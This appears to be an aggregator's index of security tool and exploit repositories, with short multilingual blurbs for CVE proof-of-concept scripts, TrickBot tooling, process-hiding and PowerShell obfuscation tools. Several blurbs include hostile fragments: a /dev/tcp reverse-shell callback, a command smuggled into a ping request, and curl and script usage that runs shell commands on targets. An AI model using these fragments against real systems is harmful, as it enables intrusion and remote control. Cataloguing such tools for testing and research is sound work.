NoEyes

NoEyes 🔒 Secure Terminal Chat End-to-end encrypted group chat, private messages, and file transfer in your terminal. The server is a blind forwarder: it cannot read your messages, does not know your username, does not know the room you are in, and cannot link any two messages to the same person,...

EQGRP

NOTE: This assumes redirecting the exploit via NOPEN. The idea behind the pairs of commands everywhere is to attack two different ranges simultaneously. The ports will let us know which was successfull look for callback in first or second NOPEN -tunnel window, indicating the first or second explo...

CVE-2024-22198_Checker

CVE-2024-22198 - ejecución remota de código autenticado en Nginx-ui Descripción Esta herramienta está diseñada para comprobar de forma remota la versión de Nginx-ui y notificar si es vulnerable a CVE-2024-22198. Nginx-UI es una interfaz web para gestionar configuraciones de Nginx. Es vulnerable a...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere Sistema de oficina inteligente en red Getshell en el panel de administración Sin autenticación 1. Vulnerabilidad de subida de archivos arbitrarios /ispirit/im/upload.php 2. Vulnerabilidad de inclusión de archivos locales /ispirit/interface/gateway.php Bypass de...

TrickBot-Toolkit

TrickBot A collection of tools for working with TrickBot ConfigDecrypter.py Used to decrypt TrickBot configs found in install directory under then name config.conf Example usage: ConfigDecrypter.py -input config.conf -output config.txt FileDownloader.py Used to download files from command and...

CVE-2022-35914

CVE-2022-35914 PoC Referencias https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc Créditos a Sébastien Copin por el PoC que adapté aquí Consulta mi análisis completo aquí: https://link.medium.com/tBwDlpQl3Ib Uso root@kitploit...

ShellShockHunter

ShellShockHunter v1.0 一个用于测试 Shellshock 漏洞的简单工具 root@kitploit: 作者: MrCl0wn 博客: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab 邮箱: mrcl0wnlab@\gmail.com Shellshock（软件缺陷） Shellshock（又称 Bashdoor）是 Unix Bash shell 中的一系列安全漏洞家族，第一个漏洞于 2014 年 9 月 24...

beagle

Beagle 1. About Beagle 2. Installation 1. Docker 2. Python Package 3. Configuration 3. Web Interface 1. Uploading Data 2. Browsing Existing Graphs 3. Graph Interface 1. Inspecting Nodes and Edges 2. Expanding Neighbours 3. Hiding Nodes 4. Running Mutators 5. Toggling Node and Edge Types 6...

mimic

mimic mimic 是一个用于 Linux x8664 上隐蔽执行的工具。 什么是“隐蔽执行”？ 隐蔽执行是一门隐藏进程的艺术。在本例中， mimic 将进程隐藏于众目睽睽之下。 mimic 可以启动任何程序，并使其看起来像任何其他程序。任何用户都可以使用它。它不需要特殊权限。它不需要特殊的二进制文件。它不需要 root 套件。 什么？！不需要特殊权限？？ 没错。 mimic 通过重新排列进程内部结构的方式，混淆该进程的 /proc 条目。所有报告进程性质的工具都是通过查看 /proc 来实现的。如果我们能够扭曲...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps por...

CVE-2018-5353

CVE-2018-5353 Zoho ManageEngine ADSelfServicePlus Client Privilege Escalation/RCE Information Vendor: Zohocorp Product: ManageEngine ADSelfServicePlus Versions Affected: Before 5.5 build 5517 Researcher: Jason Juntunen aka @missing0x00 https://github.com/missing0x00 CVSS: 8.8 Description The cust...

cve-2019-9978

cve-2019-9978 本脚本能够以简单直接的方式利用 CVE-2019-9978 漏洞，适用于 Capture The Flag CTF 挑战或作为渗透测试的概念验证。 前置条件 Python 3 Requests 库（使用 pip install requests 安装） 使用方法 1. 克隆或下载本仓库。 2. 打开终端并进入脚本所在目录。 3. 使用以下选项运行脚本： root@kitploit: ./cve-2019-9978.py -u http://target.com:9999 -c "yoursystemcommand" -l yourip:yourport - -...

CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 命令注入漏洞 用法 1- 编辑脚本中的 URL。 2- 编辑脚本中的 CookieLogin 值。 3- 运行脚本，它将允许你执行命令。 漏洞详情 GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1 正常情况下，管理面板中只允许执行 ping 命令。...

fortinet-fortiweb-cve-2025-64446-58034

Comprendiendo las vulnerabilidades de Fortinet FortiWeb CVE-2025-64446, CVE-2025-58034 1. Resumen Fortinet FortiWeb es un dispositivo Web Application Firewall WAF ampliamente implementado en los sistemas empresariales para proteger las aplicaciones web frente a amenazas comunes. Dado que FortiWeb...

Invoke-Obfuscation

Invoke-Obfuscation v1.8 简介 Invoke-Obfuscation 是一款兼容 PowerShell v2.0+ 的 PowerShell 命令和脚本混淆器。 背景 2015 年秋季，我开始研究 PowerShell 语言的灵活性，并系统记录了几种攻击者经常使用的常见技术的各种实现方式。 最初专注于编码命令和远程下载加载器（cradle）语法，我发现一些不会妨碍命令执行的转义字符会持续存在于命令行参数中，无论是运行中的进程还是记录在 Security EID 4688 和 Sysmon EID 1 事件日志中的内容。这促使我系统地探索混淆任何 PowerShell...

CVE-2022-4096

CVE 2022 -4096 Amine TITROFINE | January 21, 2023 This experiment is destinated to demonstrate how the DNS rebinding attack works on an emulated IoT. In the setup, we have a simulated IoT device, which can be controlled through a web interface this is typical for many IoT devices. Many IoT device...

CVE-2019-11043-Docker

一个包含易受攻击版本PHP-FPM CVE-2019-11043 和 nginx 的 Docker 镜像。 运行 docker run --rm -p8080:80 akamajoris/cve-2019-11043 你应该能够通过 http://your-ip:8080/ 访问该 Web 应用程序。 利用 从 https://github.com/neex/phuip-fpizdam 构建一个二进制文件，然后 root@kitploit: root@debian:/gopath/bin curl "localhost:8080/?a=/bin/sh+-c+'which+which'" ...

jwt-cracker

jwt-cracker Simple HS256, HS384 & HS512 JWT token brute force cracker. Effective only to crack JWT tokens with weak secrets. Recommendation : Use strong long secrets or RS256 tokens. Install With npm: root@kitploit: npm install --global jwt-cracker Usage From command line: root@kitploit:...